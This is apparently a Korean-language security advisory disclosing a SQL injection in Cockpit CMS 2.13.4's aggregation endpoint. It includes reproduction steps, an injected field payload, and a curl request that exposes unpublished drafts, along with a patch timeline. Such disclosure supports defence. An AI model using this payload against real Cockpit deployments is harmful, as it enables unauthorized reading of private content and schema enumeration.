
SQL Injection in MongoLite Aggregation Optimizer via toJsonExtractRaw()
cockpithq/cockpit:core-2.13.47fe563023b7fae854c857d2e2dc0878ef28fbb5f (태그 2.13.4)CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:NCockpit CMS(Core Edition 버전 2.13.4)에서 SQL 인젝션 취약점이 확인되었습니다. 이 취약점은 MongoLite 집계 최적화 프로그램, 특히 toJsonExtractRaw() 메서드 내에 존재합니다. 사용자 제어 필드 이름이 적절한 검증 없이 SQL 쿼리에 직접 연결됩니다.
콘텐츠 모델에 대한 읽기 권한(API 키를 통해)을 가진 인증된 공격자는 /api/content/aggregate/{model} REST 엔드포인트를 통해 집계 파이프라인에 임의의 SQL 명령을 주입할 수 있습니다.
이 결함으로 인해 공격자는 다음을 수행할 수 있습니다:
_state=1)를 우회하여 게시되지 않은 초안을 읽습니다.sqlite_master를 통해 내부 데이터베이스 스키마를 열거합니다.다음 단계는 공격자가 _state=1 권한 부여 필터를 우회할 수 있는 방법을 보여줍니다.
testcol이라는 새 모델을 생성합니다.title 및 body라는 두 개의 텍스트 필드를 추가합니다.스크린샷: testcol 콘텐츠 모델 설정

testcol 모델에 대해 읽기 권한을 갖도록 역할(예: MasterRole)을 생성하거나 수정합니다.스크린샷: 컬렉션에 대한 역할 권한 구성

MasterRole을 할당합니다. 키 값을 복사합니다(예: API-b8e8...).스크린샷: 읽기 권한 역할로 API 키 설정

Public이라는 제목의 항목을 만들고 상태를 게시됨(녹색 아이콘)으로 설정합니다.SECRET_DRAFT라는 제목의 두 번째 항목을 만들고 상태를 게시 안 됨(빨간색 아이콘)으로 설정합니다.스크린샷: 게시된 항목 하나와 게시되지 않은 항목 하나를 보여주는 항목 목록

기본적으로 표준 API 쿼리는 상태가 게시됨인 콘텐츠만 반환합니다. 그러나 집계 파이프라인에 SQL을 주입하면 게시 콘텐츠 필터를 우회할 수 있습니다.
json_extract() SQL 함수에서 빠져나와 SQL 주석 --를 추가하여 후행 SQL을 무력화하며, 특히 결과를 게시된 항목으로 제한하는 WHERE 절을 대상으로 합니다.주입된 필드:
$title') as _id FROM collections_testcol--
전체 파이프라인 JSON:
[{"$group": {"_id": "$title') as _id FROM collections_testcol--", "c": {"$sum": 1}}}]
/api/content/aggregate/testcol 엔드포인트로 보냅니다. YOUR_API_KEY를 2.2단계에서 생성한 키로 바꾸십시오:curl "http://localhost:8080/api/content/aggregate/testcol?api_key=YOUR_API_KEY&pipeline=%5B%7B%22%24group%22%3A%20%7B%22_id%22%3A%20%22%24title%27%29%20as%20_id%20FROM%20collections_testcol--%22%2C%20%22c%22%3A%20%7B%22%24sum%22%3A%201%7D%7D%7D%5D"
아래 최종 스크린샷에서 볼 수 있듯이 API 응답은 명시적으로 게시 안 됨으로 표시된 SECRET_DRAFT 항목을 성공적으로 반환합니다. 이는 SQL 인젝션이 애플리케이션의 핵심 권한 부여 메커니즘을 우회하고 API를 통해 무단 데이터 추출을 허용함을 확인합니다.
스크린샷: 게시되지 않은 'SECRET_DRAFT' 데이터의 성공적인 추출

일반적인 헤드리스 CMS 배포에서 공개 읽기 전용 API 키는 종종 프런트엔드 JavaScript에 포함/하드코딩됩니다. 공개 API 엔드포인트를 통해 이 취약점을 악용하면 공격자는 다음을 수행할 수 있습니다:
content.sqlite 데이터베이스의 모든 콘텐츠 컬렉션을 읽습니다.sqlite_master를 통해 데이터베이스 스키마를 열거하여 모든 테이블 이름과 구조를 발견합니다.| 날짜 | 조치 |
|---|---|
| 2026-02-28 | 승인된 보안 연구 중 취약점 발견 |
| 2026-03-02 | 공급업체에 보고서 제출 |
| 2026-03-02 | 공급업체 수정 -- https://github.com/Cockpit-HQ/Cockpit/commit/b6a0b45c5e8fe16f3027b889583cc3a9127ab4b0 |
| 2026-03-09 | 패치 릴리스 v 2.13.5 -- https://getcockpit.com/releases |